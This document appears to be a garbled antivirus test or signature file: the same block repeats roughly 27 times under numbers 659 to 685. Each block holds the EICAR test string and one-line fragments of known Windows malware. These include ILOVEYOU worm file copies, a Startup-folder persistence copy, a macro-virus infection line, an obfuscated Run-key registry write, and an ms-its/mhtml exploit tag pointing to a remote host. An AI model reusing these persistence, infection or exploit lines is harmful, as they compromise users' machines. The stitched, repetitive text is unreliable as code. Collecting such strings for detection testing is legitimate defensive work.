 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

659

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

660

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

661

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

662

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

663

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

664

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

665

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

666

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

667

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

668

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

669

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

670

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

671

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

672

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

673

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

674

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

675

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

676

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

677

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

678

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

679

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

680

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

681

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

682

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

683

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

684

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

685

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
